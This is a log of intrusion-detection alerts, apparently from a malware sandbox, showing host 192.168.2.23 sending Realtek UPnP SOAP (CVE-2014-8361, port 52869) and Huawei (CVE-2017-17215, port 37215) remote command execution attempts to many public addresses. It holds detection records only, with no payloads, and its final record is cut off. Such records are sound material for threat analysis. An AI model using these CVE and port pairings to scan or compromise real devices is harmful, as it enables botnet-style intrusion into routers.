ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.25.231.52

Timestamp:	07/20/24-23:01:58.556960
SID:	2027339
Source Port:	55908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.253.111.233

Timestamp:	07/20/24-23:01:24.882291
SID:	2835222
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.225.3.54

Timestamp:	07/20/24-23:01:04.986393
SID:	2025132
Source Port:	57142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	07/20/24-23:01:08.555687
SID:	2027339
Source Port:	42530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.243.184

Timestamp:	07/20/24-23:01:00.633744
SID:	2835222
Source Port:	34962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.233.238.80

Timestamp:	07/20/24-23:01:51.067695
SID:	2831300
Source Port:	38648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.9.166.109

Timestamp:	07/20/24-23:01:44.007374
SID:	2027339
Source Port:	36010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.69.166.230

Timestamp:	07/20/24-23:02:27.457367
SID:	2025132
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.103.3.16

Timestamp:	07/20/24-23:01:42.115230
SID:	2831300
Source Port:	55048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.64.16.178

Timestamp:	07/20/24-23:01:42.145997
SID:	2027339
Source Port:	60476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.42.79.184

Timestamp:	07/20/24-23:01:43.825430
SID:	2027339
Source Port:	41712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.27.232.7

Timestamp:	07/20/24-23:01:09.081648
SID:	2027339
Source Port:	40564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.205.140.164

Timestamp:	07/20/24-23:01:42.704900
SID:	2831300
Source Port:	53568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.62.146.57

Timestamp:	07/20/24-23:01:52.487978
SID:	2831300
Source Port:	40330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.17.89

Timestamp:	07/20/24-23:01:02.127340
SID:	2829579
Source Port:	50410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.127.134.199

Timestamp:	07/20/24-23:02:08.291319
SID:	2027339
Source Port:	41704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.225.128.216

Timestamp:	07/20/24-23:01:51.864479
SID:	2025132
Source Port:	57882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.214.50.214

Timestamp:	07/20/24-23:02:06.884162
SID:	2027339
Source Port:	41536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.139.123.246

Timestamp:	07/20/24-23:01:47.032369
SID:	2831300
Source Port:	56572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.152.95.200

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	49684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.139.241.135

Timestamp:	07/20/24-23:01:43.474436
SID:	2831300
Source Port:	41066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.83.244.58

Timestamp:	07/20/24-23:01:42.357440
SID:	2027339
Source Port:	43918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.152.128.124

Timestamp:	07/20/24-23:00:59.154068
SID:	2835222
Source Port:	43252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.220.3.30

Timestamp:	07/20/24-23:01:08.614193
SID:	2831300
Source Port:	40086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.27.181.202

Timestamp:	07/20/24-23:01:12.806645
SID:	2027339
Source Port:	40080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.202.3.15

Timestamp:	07/20/24-23:01:54.515977
SID:	2027339
Source Port:	55936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.21.137.98

Timestamp:	07/20/24-23:01:25.472685
SID:	2027339
Source Port:	58500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.17.56

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	36186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.161.3.79

Timestamp:	07/20/24-23:01:13.289823
SID:	2025132
Source Port:	34358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.69.228.71

Timestamp:	07/20/24-23:01:25.200191
SID:	2027339
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.91.121.224

Timestamp:	07/20/24-23:01:42.145997
SID:	2025132
Source Port:	34796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.56.35.207

Timestamp:	07/20/24-23:01:50.202477
SID:	2027339
Source Port:	52778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.211.52.185

Timestamp:	07/20/24-23:01:24.943244
SID:	2835222
Source Port:	57416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 121.47.221.188

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	43814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.215.198.66

Timestamp:	07/20/24-23:01:44.870961
SID:	2025132
Source Port:	34216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.74.58.220

Timestamp:	07/20/24-23:01:47.818739
SID:	2025132
Source Port:	44594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.236.82.99

Timestamp:	07/20/24-23:02:48.447183
SID:	2027339
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.148.4

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	51692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.39.228.144

Timestamp:	07/20/24-23:01:59.992285
SID:	2025132
Source Port:	47032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.248.36

Timestamp:	07/20/24-23:01:00.633744
SID:	2835222
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.196.57.80

Timestamp:	07/20/24-23:01:12.806839
SID:	2027339
Source Port:	53204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.238.252

Timestamp:	07/20/24-23:01:02.104572
SID:	2829579
Source Port:	44332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.106.184.126

Timestamp:	07/20/24-23:01:03.924344
SID:	2025132
Source Port:	40650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.102.198.205

Timestamp:	07/20/24-23:01:31.331748
SID:	2027339
Source Port:	40186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.12.12.126

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	42956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.19.121.71

Timestamp:	07/20/24-23:01:51.197215
SID:	2027339
Source Port:	59982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.229.17.57

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	41368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.206.46.127

Timestamp:	07/20/24-23:01:42.588824
SID:	2831300
Source Port:	33420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.158.170.123

Timestamp:	07/20/24-23:01:48.958887
SID:	2027339
Source Port:	43122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.243.193.156

Timestamp:	07/20/24-23:01:08.562013
SID:	2831300
Source Port:	54784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.7.216.73

Timestamp:	07/20/24-23:01:43.023857
SID:	2831300
Source Port:	42610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.18.128

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	38012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.167.238.210

Timestamp:	07/20/24-23:01:40.349275
SID:	2835222
Source Port:	40914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.188.109.169

Timestamp:	07/20/24-23:01:44.142024
SID:	2831300
Source Port:	57768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.44.236.192

Timestamp:	07/20/24-23:01:47.858878
SID:	2831300
Source Port:	58408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.150.155

Timestamp:	07/20/24-23:00:59.154067
SID:	2829579
Source Port:	59582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.110.142

Timestamp:	07/20/24-23:01:31.974551
SID:	2829579
Source Port:	49040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.169.126.92

Timestamp:	07/20/24-23:01:41.389908
SID:	2025132
Source Port:	48504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.79.192.172

Timestamp:	07/20/24-23:01:42.751824
SID:	2027339
Source Port:	37240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.247.244.116

Timestamp:	07/20/24-23:01:48.602356
SID:	2027339
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.203.121.55

Timestamp:	07/20/24-23:01:02.081923
SID:	2027339
Source Port:	50626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.39.36.55

Timestamp:	07/20/24-23:01:08.584506
SID:	2027339
Source Port:	42566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.182.173.35

Timestamp:	07/20/24-23:01:45.078068
SID:	2025132
Source Port:	46562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.170.95

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	52436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.228.131.204

Timestamp:	07/20/24-23:01:41.321505
SID:	2025132
Source Port:	49492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.24.227.79

Timestamp:	07/20/24-23:01:46.971627
SID:	2027339
Source Port:	56016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.203.33.61

Timestamp:	07/20/24-23:01:51.172994
SID:	2025132
Source Port:	39872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.4.24.206

Timestamp:	07/20/24-23:01:51.144153
SID:	2025132
Source Port:	47330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:50.332163
SID:	2027339
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.51.58.185

Timestamp:	07/20/24-23:01:42.632446
SID:	2831300
Source Port:	50766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.182.197.150

Timestamp:	07/20/24-23:01:44.839991
SID:	2025132
Source Port:	38688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.137.71.180

Timestamp:	07/20/24-23:01:42.399678
SID:	2027339
Source Port:	44296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.237.154.16

Timestamp:	07/20/24-23:02:11.752225
SID:	2025132
Source Port:	48318
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.210.234.252

Timestamp:	07/20/24-23:01:47.859927
SID:	2027339
Source Port:	53216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.99.82.220

Timestamp:	07/20/24-23:01:42.290838
SID:	2025132
Source Port:	52896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.89.247.140

Timestamp:	07/20/24-23:01:10.513310
SID:	2027339
Source Port:	46946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.21.209.138

Timestamp:	07/20/24-23:01:57.762774
SID:	2027339
Source Port:	57830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.149.63.116

Timestamp:	07/20/24-23:01:44.674122
SID:	2027339
Source Port:	47054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.230.67.6

Timestamp:	07/20/24-23:01:31.325694
SID:	2831300
Source Port:	40842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.174.13.114

Timestamp:	07/20/24-23:01:51.949637
SID:	2831300
Source Port:	35496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.167.196.86

Timestamp:	07/20/24-23:01:43.841155
SID:	2831300
Source Port:	49646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.19.81.156

Timestamp:	07/20/24-23:01:42.486106
SID:	2025132
Source Port:	54728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.194.48.207

Timestamp:	07/20/24-23:01:43.110964
SID:	2027339
Source Port:	40600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.166.48.209

Timestamp:	07/20/24-23:01:27.650243
SID:	2835222
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 219.249.103.135

Timestamp:	07/20/24-23:01:14.117066
SID:	2829579
Source Port:	55386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.47.224.132

Timestamp:	07/20/24-23:00:57.221803
SID:	2835222
Source Port:	53230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.94.31.193

Timestamp:	07/20/24-23:01:46.416206
SID:	2027339
Source Port:	59336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.97.254.151

Timestamp:	07/20/24-23:01:53.357099
SID:	2831300
Source Port:	53504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.185.104.236

Timestamp:	07/20/24-23:01:25.766611
SID:	2025132
Source Port:	51032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.87.162.144

Timestamp:	07/20/24-23:01:42.629036
SID:	2027339
Source Port:	45276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.24.147.38

Timestamp:	07/20/24-23:01:45.980258
SID:	2027339
Source Port:	32840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.170.123.220

Timestamp:	07/20/24-23:01:46.046177
SID:	2027339
Source Port:	52732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.98.85

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	60820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.140.56.8

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.211.43.107

Timestamp:	07/20/24-23:01:45.452336
SID:	2027339
Source Port:	39466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.45.46.163

Timestamp:	07/20/24-23:01:25.540121
SID:	2027339
Source Port:	60856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.141.254.89

Timestamp:	07/20/24-23:01:46.620479
SID:	2027339
Source Port:	39684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.83.13

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	44664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.160.245

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	49640
Destination Port:	37215
